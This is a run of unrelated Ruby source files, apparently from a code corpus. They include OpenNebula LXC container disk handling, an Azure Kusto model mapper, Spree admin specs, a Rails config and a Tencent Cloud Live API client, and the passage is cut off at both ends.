# Add cgroup limitations
# rubocop:disable Layout/LineLength
lxc['lxc.cgroup.cpu.shares'] = cpu_shares
lxc['lxc.cgroup.memory.limit_in_bytes'] = memmory_limit_in_bytes
lxc['lxc.cgroup.memory.oom_control'] = 1 # Avoid OOM to kill the process when limit is reached
# rubocop:enable Layout/LineLength
# User mapping
# rubocop:disable Layout/LineLength
lxc['lxc.idmap'] = ["u 0 #{@lxcrc[:id_map]} #{@lxcrc[:max_map]}",
"g 0 #{@lxcrc[:id_map]} #{@lxcrc[:max_map]}"]
# rubocop:enable Layout/LineLength
# hash_to_lxc values should prevail over raw section values
hash_to_lxc(parse_raw.merge(lxc))
end
# Returns an Array of Disk objects, each one represents an OpenNebula DISK
def disks
adisks = []
return adisks if @rootfs_id.nil?
@xml.elements('//TEMPLATE/DISK').each do |xml|
next if xml['TYPE'].downcase == 'swap'
if xml['DISK_ID'] == @rootfs_id
adisks << Disk.new_root(xml, @sysds_path, @vm_id)
else
adisks << Disk.new_disk(xml, @sysds_path, @vm_id)
end
end
context_xml = @xml.element('//TEMPLATE/CONTEXT')
if context_xml
adisks << Disk.new_context(context_xml, @sysds_path, @vm_id)
end
adisks
end
private
# Returns the config in LXC style format
def hash_to_lxc(hash)
lxc = ''
hash.each do |key, value|
# Process duplicate values from array keys
if value.class == Array
value.each do |v|
lxc << "#{key} = '#{v}'\n"
end
else
lxc << "#{key} = '#{value}'\n"
end
end
lxc
end
def parse_raw
raw_map = {}
begin
return raw_map if @xml['//RAW/TYPE'].downcase != 'lxc'
# only add valid lxc configuration statements
regex = /^(lxc\.(?:[a-zA-Z0-9]+\.)*[a-zA-Z0-9]+\s*)=(.*)$/
@xml['//RAW/DATA'].each_line do |l|
l.strip!
match = l.match(regex)
next if match.nil?
key = match[1].strip
value = match[2].strip
if !raw_map[key].nil?
raw_map[key] = value
else
raw_map[key] = Array(raw_map[key]) << value
end
end
rescue StandardError
end
raw_map
end
end
# ------------------------------------------------------------------------------
# Class for managing Container Disks
# ------------------------------------------------------------------------------
class Disk
attr_accessor :id, :vm_id, :sysds_path
class << self
def new_context(xml, sysds_path, vm_id)
Disk.new(xml, sysds_path, vm_id, false, true)
end
def new_root(xml, sysds_path, vm_id)
Disk.new(xml, sysds_path, vm_id, true, false)
end
def new_disk(xml, sysds_path, vm_id)
Disk.new(xml, sysds_path, vm_id, false, false)
end
end
# Mount mapper block device
def mount(options = {})
device = @mapper.map(self)
return false unless device
return true if Storage.setup_disk(device,
@mountpoint,
@bindpoint,
options)
# Rollback if failed to setup disk
@mapper.unmap(device)
false
end
# Umount mapper block device
# if options[:ignore_err] errors won't force early return
def umount(options = {})
device = find_device
return true if device.empty?
rc = Storage.teardown_disk(@mountpoint, @bindpoint)
return false if !rc && options[:ignore_err] != true
# unmap image
@mapper.unmap(device)
end
# Generate disk into LXC config format
def to_lxc
return { 'lxc.rootfs.path' => @bindpoint } if @is_rootfs
if @is_context
path = 'context'
opts = 'none rbind,ro,create=dir,optional 0 0'
else
# TODO: Adjustable guest mountpoint
path = "media/one-disk.#{@id}"
opts = 'none rbind,create=dir,optional 0 0'
end
{ 'lxc.mount.entry' => "#{@bindpoint} #{path} #{opts}" }
end
def swap?
@xml['TYPE'] == 'swap'
end
def volatile?
@xml['TYPE'] == 'fs'
end
# Access Disk attributes
def [](k)
@xml[k]
end
private
def initialize(xml, sysds_path, vm_id, is_rootfs, is_context)
@xml = xml
@vm_id = vm_id
@id = @xml['DISK_ID'].to_i
@sysds_path = sysds_path
@is_rootfs = is_rootfs
@is_context = is_context
# rubocop:disable all
@mapper = if @xml['FORMAT'].downcase == 'qcow2'
Qcow2Mapper.new
elsif @xml['DISK_TYPE'].downcase == 'rbd'
RBDMapper.new(self)
else
RawMapper.new
end
# rubocop:enable all
datastore = @sysds_path
datastore = File.readlink(@sysds_path) if File.symlink?(@sysds_path)
@mountpoint = "#{datastore}/#{@vm_id}/mapper/disk.#{@id}"
@bindpoint = "#{LXCVM::CONTAINER_FS_PATH}/#{@vm_id}/disk.#{@id}"
end
# Returns the associated linux device for the mountpoint
def find_device
sys_parts = Storage.lsblk('')
device = ''
sys_parts.each do |d|
if d['mountpoint'] == @mountpoint
device = d['path']
break
end
if d['children']
d['children'].each do |c|
next unless c['mountpoint'] == @mountpoint
device = d['path']
break
end
end
break unless device.empty?
end
if device.empty?
OpenNebula.log_error("Cannot detect block device from #{@mountpoint}")
end
device
end
end
| 28.678063 | 105 | 0.484701 |
79f4248d68b41bc3f5caea3b57869819ec6a5040 | 2,585 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Kusto::Mgmt::V2019_05_15
module Models
#
# The resource model definition for a ARM tracked top level resource
#
class TrackedResource < Resource
include MsRestAzure
# @return [Hash{String => String}] Resource tags.
attr_accessor :tags
# @return [String] The geo-location where the resource lives
attr_accessor :location
#
# Mapper for TrackedResource class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'TrackedResource',
type: {
name: 'Composite',
class_name: 'TrackedResource',
model_properties: {
id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'type',
type: {
name: 'String'
}
},
tags: {
client_side_validation: true,
required: false,
serialized_name: 'tags',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
location: {
client_side_validation: true,
required: true,
serialized_name: 'location',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 27.795699 | 72 | 0.441393 |
914d7c242485def7921d639bbe07584479d23aca | 4,086 | require 'spec_helper'
describe "Prototypes", type: :feature, js: true do
stub_authorization!
context "listing prototypes" do
it "should be able to list existing prototypes" do
create(:property, name: "model", presentation: "Model")
create(:property, name: "brand", presentation: "Brand")
create(:property, name: "shirt_fabric", presentation: "Fabric")
create(:property, name: "shirt_sleeve_length", presentation: "Sleeve")
create(:property, name: "mug_type", presentation: "Type")
create(:property, name: "bag_type", presentation: "Type")
create(:property, name: "manufacturer", presentation: "Manufacturer")
create(:property, name: "bag_size", presentation: "Size")
create(:property, name: "mug_size", presentation: "Size")
create(:property, name: "gender", presentation: "Gender")
create(:property, name: "shirt_fit", presentation: "Fit")
create(:property, name: "bag_material", presentation: "Material")
create(:property, name: "shirt_type", presentation: "Type")
p = create(:prototype, name: "Shirt")
%w( brand gender manufacturer model shirt_fabric shirt_fit shirt_sleeve_length shirt_type ).each do |prop|
p.properties << Spree::Property.find_by_name(prop)
end
p = create(:prototype, name: "Mug")
%w( mug_size mug_type ).each do |prop|
p.properties << Spree::Property.find_by_name(prop)
end
p = create(:prototype, name: "Bag")
%w( bag_type bag_material ).each do |prop|
p.properties << Spree::Property.find_by_name(prop)
end
visit spree.admin_path
click_link "Products"
click_link "Prototypes"
within_row(1) { expect(column_text(1)).to eq "Shirt" }
within_row(2) { expect(column_text(1)).to eq "Mug" }
within_row(3) { expect(column_text(1)).to eq "Bag" }
end
end
context "creating a prototype" do
it "should allow an admin to create a new product prototype" do
visit spree.admin_path
click_link "Products"
click_link "Prototypes"
click_link "new_prototype_link"
within('.content-header') do
expect(page).to have_content("New Prototype")
end
fill_in "prototype_name", with: "male shirts"
click_button "Create"
expect(page).to have_content("successfully created!")
click_link "Products"
click_link "Prototypes"
within_row(1) { click_icon :edit }
fill_in "prototype_name", with: "Shirt 99"
click_button "Update"
expect(page).to have_content("successfully updated!")
expect(page).to have_content("Shirt 99")
end
end
context "editing a prototype" do
it "should allow to empty its properties" do
model_property = create(:property, name: "model", presentation: "Model")
brand_property = create(:property, name: "brand", presentation: "Brand")
shirt_prototype = create(:prototype, name: "Shirt", properties: [])
%w( brand model ).each do |prop|
shirt_prototype.properties << Spree::Property.find_by_name(prop)
end
visit spree.admin_path
click_link "Products"
click_link "Prototypes"
click_icon :edit
property_ids = find_field("prototype_property_ids").value.map(&:to_i)
expect(property_ids).to match_array [model_property.id, brand_property.id]
unselect "Brand", from: "prototype_property_ids"
unselect "Model", from: "prototype_property_ids"
click_button 'Update'
click_icon :edit
expect(find_field("prototype_property_ids").value).to be_empty
end
end
it 'should be deletable' do
shirt_prototype = create(:prototype, name: "Shirt", properties: [])
shirt_prototype.taxons << create(:taxon)
visit spree.admin_path
click_link "Products"
click_link "Prototypes"
within("#spree_prototype_#{shirt_prototype.id}") do
page.find('.delete-resource').click
end
accept_alert do
expect(page).to have_content("Prototype \"#{shirt_prototype.name}\" has been successfully removed!")
end
end
end
| 36.159292 | 112 | 0.671317 |
915a9375d1e0207c762a046ec944c6917fa5e5a9 | 1,001 | describe "Convert Image" do
before do
@object = Object.new
@object.extend Stalactoast::Conversions
@image = UIImage.imageNamed("motion-toast-card")
end
it "sets the right default" do
d = {}
@object.convert_image({}, d)
d[KCRToastImageKey].should == nil
end
it "sets the right value when it is an image" do
d = {}
@object.convert_image({image: @image}, d)
d[KCRToastImageKey].should == @image
end
describe "Good Params" do
before do
@in = {
value: @image,
alignment: :right,
content_mode: :top,
}
@out = {}
@object.convert_image({image: @in}, @out)
end
it "sets the right value" do
@out[KCRToastImageKey].should == @in[:value]
end
it "sets the right alignment" do
@out[KCRToastImageAlignmentKey].should == NSTextAlignmentRight
end
it "sets the right content mode" do
@out[KCRToastImageContentModeKey].should == UIViewContentModeTop
end
end
end
| 21.76087 | 70 | 0.623377 |
0162947f38c188706e50c8c8616e7a0d334cebc8 | 1,312 | require_relative 'boot'
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Tamagotchi
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.0
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
| 34.526316 | 82 | 0.776677 |
1a54822de193a44abf1870c55adea53c292bd7ef | 1,162 | ##################################################################
# Licensing Information #
# #
# The following code is licensed, as standalone code, under #
# the Ruby License, unless otherwise directed within the code. #
# #
# For information on the license of this code when distributed #
# with and used in conjunction with the other modules in the #
# Amp project, please see the root-level LICENSE file. #
# #
# © Michael J. Edgar and Ari Brown, 2009-2010 #
# #
##################################################################
command :untrack do |c|
c.workflow :hg
c.desc "Stop tracking the file"
c.on_run do |opts, args|
opts[:"no-unlink"] = true
opts[:quiet] = true
puts "Forgetting #{args.size} file#{args.size == 1 ? '' : 's'}"
Amp::Command['remove'].run opts, args
end
end
| 43.037037 | 67 | 0.393287 |
616fa6df4bee114e8edae47f546ba308f011f407 | 127,751 | # frozen_string_literal: true
# Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'json'
module TencentCloud
module Live
module V20180801
class Client < TencentCloud::Common::AbstractClient
@@api_version = '2018-08-01'
@@endpoint = 'live.tencentcloudapi.com'
@@sdk_version = 'LIVE_' + File.read(File.expand_path('../VERSION', __dir__)).strip
# 对流设置延播时间
# 注意:如果在推流前设置延播,需要提前5分钟设置。
# 目前该接口只支持流粒度的,域名及应用粒度功能支持当前开发中。
# 使用场景:对重要直播,避免出现突发状况,可通过设置延迟播放,提前做好把控。
# @param request: Request instance for AddDelayLiveStream.
# @type request: :class:`Tencentcloud::live::V20180801::AddDelayLiveStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::AddDelayLiveStreamResponse`
def AddDelayLiveStream(request)
body = send_request('AddDelayLiveStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = AddDelayLiveStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 添加域名,一次只能提交一个域名。域名必须已备案。
# @param request: Request instance for AddLiveDomain.
# @type request: :class:`Tencentcloud::live::V20180801::AddLiveDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::AddLiveDomainResponse`
def AddLiveDomain(request)
body = send_request('AddLiveDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = AddLiveDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 添加水印,成功返回水印 ID 后,需要调用[CreateLiveWatermarkRule](/document/product/267/32629)接口将水印 ID 绑定到流使用。
# 水印数量上限 100,超过后需要先删除,再添加。
# @param request: Request instance for AddLiveWatermark.
# @type request: :class:`Tencentcloud::live::V20180801::AddLiveWatermarkRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::AddLiveWatermarkResponse`
def AddLiveWatermark(request)
body = send_request('AddLiveWatermark', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = AddLiveWatermarkResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 域名绑定证书。
# 注意:需先调用添加证书接口进行证书添加。获取到证书Id后再调用该接口进行绑定。
# @param request: Request instance for BindLiveDomainCert.
# @type request: :class:`Tencentcloud::live::V20180801::BindLiveDomainCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::BindLiveDomainCertResponse`
def BindLiveDomainCert(request)
body = send_request('BindLiveDomainCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = BindLiveDomainCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 该接口用来取消混流。用法与 mix_streamv2.cancel_mix_stream 基本一致。
# @param request: Request instance for CancelCommonMixStream.
# @type request: :class:`Tencentcloud::live::V20180801::CancelCommonMixStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CancelCommonMixStreamResponse`
def CancelCommonMixStream(request)
body = send_request('CancelCommonMixStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CancelCommonMixStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 该接口用来创建通用混流。用法与旧接口 mix_streamv2.start_mix_stream_advanced 基本一致。
# 注意:当前最多支持16路混流。
# 最佳实践:https://cloud.tencent.com/document/product/267/45566
# @param request: Request instance for CreateCommonMixStream.
# @type request: :class:`Tencentcloud::live::V20180801::CreateCommonMixStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateCommonMixStreamResponse`
def CreateCommonMixStream(request)
body = send_request('CreateCommonMixStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateCommonMixStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建回调规则,需要先调用[CreateLiveCallbackTemplate](/document/product/267/32637)接口创建回调模板,将返回的模板id绑定到域名/路径进行使用。
# <br>回调协议相关文档:[事件消息通知](/document/product/267/32744)。
# @param request: Request instance for CreateLiveCallbackRule.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveCallbackRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveCallbackRuleResponse`
def CreateLiveCallbackRule(request)
body = send_request('CreateLiveCallbackRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveCallbackRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建回调模板,成功返回模板id后,需要调用[CreateLiveCallbackRule](/document/product/267/32638)接口将模板 ID 绑定到域名/路径使用。
# <br>回调协议相关文档:[事件消息通知](/document/product/267/32744)。
# 注意:至少填写一个回调 URL。
# @param request: Request instance for CreateLiveCallbackTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveCallbackTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveCallbackTemplateResponse`
def CreateLiveCallbackTemplate(request)
body = send_request('CreateLiveCallbackTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveCallbackTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 添加证书
# @param request: Request instance for CreateLiveCert.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveCertResponse`
def CreateLiveCert(request)
body = send_request('CreateLiveCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# - 使用前提
# 1. 录制文件存放于点播平台,所以用户如需使用录制功能,需首先自行开通点播服务。
# 2. 录制文件存放后相关费用(含存储以及下行播放流量)按照点播平台计费方式收取,具体请参考 [对应文档](https://cloud.tencent.com/document/product/266/2838)。
# - 模式说明
# 该接口支持两种录制模式:
# 1. 定时录制模式【默认模式】。
# 需要传入开始时间与结束时间,录制任务根据起止时间自动开始与结束。在所设置结束时间过期之前(且未调用StopLiveRecord提前终止任务),录制任务都是有效的,期间多次断流然后重推都会启动录制任务。
# 2. 实时视频录制模式。
# 忽略传入的开始时间,在录制任务创建后立即开始录制,录制时长支持最大为30分钟,如果传入的结束时间与当前时间差大于30分钟,则按30分钟计算,实时视频录制主要用于录制精彩视频场景,时长建议控制在5分钟以内。
# - 注意事项
# 1. 调用接口超时设置应大于3秒,小于3秒重试以及按不同起止时间调用都有可能产生重复录制任务,进而导致额外录制费用。
# 2. 受限于音视频文件格式(FLV/MP4/HLS)对编码类型的支持,视频编码类型支持 H.264,音频编码类型支持 AAC。
# 3. 为避免恶意或非主观的频繁 API 请求,对定时录制模式最大创建任务数做了限制:其中,当天可以创建的最大任务数不超过4000(不含已删除的任务);当前时刻并发运行的任务数不超过400。有超出此限制的需要提工单申请。
# 4. 此调用方式暂时不支持海外推流录制。
# @param request: Request instance for CreateLiveRecord.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveRecordRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveRecordResponse`
def CreateLiveRecord(request)
body = send_request('CreateLiveRecord', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveRecordResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建录制规则,需要先调用[CreateLiveRecordTemplate](/document/product/267/32614)接口创建录制模板,将返回的模板id绑定到流使用。
# <br>录制相关文档:[直播录制](/document/product/267/32739)。
# @param request: Request instance for CreateLiveRecordRule.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveRecordRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveRecordRuleResponse`
def CreateLiveRecordRule(request)
body = send_request('CreateLiveRecordRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveRecordRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建录制模板,成功返回模板id后,需要调用[CreateLiveRecordRule](/document/product/267/32615)接口,将模板id绑定到流进行使用。
# <br>录制相关文档:[直播录制](/document/product/267/32739)。
# @param request: Request instance for CreateLiveRecordTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveRecordTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveRecordTemplateResponse`
def CreateLiveRecordTemplate(request)
body = send_request('CreateLiveRecordTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveRecordTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建截图规则,需要先调用[CreateLiveSnapshotTemplate](/document/product/267/32624)接口创建截图模板,然后将返回的模板 ID 绑定到流进行使用。
# <br>截图相关文档:[直播截图](/document/product/267/32737)。
# 注意:单个域名仅支持关联一个截图模板。
# @param request: Request instance for CreateLiveSnapshotRule.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveSnapshotRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveSnapshotRuleResponse`
def CreateLiveSnapshotRule(request)
body = send_request('CreateLiveSnapshotRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveSnapshotRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建截图模板,成功返回模板id后,需要调用[CreateLiveSnapshotRule](/document/product/267/32625)接口,将模板id绑定到流使用。
# <br>截图相关文档:[直播截图](/document/product/267/32737)。
# @param request: Request instance for CreateLiveSnapshotTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveSnapshotTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveSnapshotTemplateResponse`
def CreateLiveSnapshotTemplate(request)
body = send_request('CreateLiveSnapshotTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveSnapshotTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建转码规则,需要先调用[CreateLiveTranscodeTemplate](/document/product/267/32646)接口创建转码模板,将返回的模板id绑定到流使用。
# <br>转码相关文档:[直播转封装及转码](/document/product/267/32736)。
# @param request: Request instance for CreateLiveTranscodeRule.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveTranscodeRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveTranscodeRuleResponse`
def CreateLiveTranscodeRule(request)
body = send_request('CreateLiveTranscodeRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveTranscodeRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建转码模板,成功返回模板id后,需要调用[CreateLiveTranscodeRule](/document/product/267/32647)接口,将返回的模板id绑定到流使用。
# <br>转码相关文档:[直播转封装及转码](/document/product/267/32736)。
# @param request: Request instance for CreateLiveTranscodeTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveTranscodeTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveTranscodeTemplateResponse`
def CreateLiveTranscodeTemplate(request)
body = send_request('CreateLiveTranscodeTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveTranscodeTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建水印规则,需要先调用[AddLiveWatermark](/document/product/267/30154)接口添加水印,将返回的水印id绑定到流使用。
# @param request: Request instance for CreateLiveWatermarkRule.
# @type request: :class:`Tencentcloud::live::V20180801::CreateLiveWatermarkRuleRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreateLiveWatermarkRuleResponse`
def CreateLiveWatermarkRule(request)
body = send_request('CreateLiveWatermarkRule', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreateLiveWatermarkRuleResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建临时拉流转推任务,目前限制添加10条任务。
# 注意:该接口用于创建临时拉流转推任务,
# 拉流源地址即 FromUrl 可以是腾讯或非腾讯数据源,
# 但转推目标地址即 ToUrl 目前限制为已注册的腾讯直播域名。
# @param request: Request instance for CreatePullStreamConfig.
# @type request: :class:`Tencentcloud::live::V20180801::CreatePullStreamConfigRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::CreatePullStreamConfigResponse`
def CreatePullStreamConfig(request)
body = send_request('CreatePullStreamConfig', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = CreatePullStreamConfigResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 创建一个在指定时间启动、结束的录制任务,并使用指定录制模板ID对应的配置进行录制。
# - 使用前提
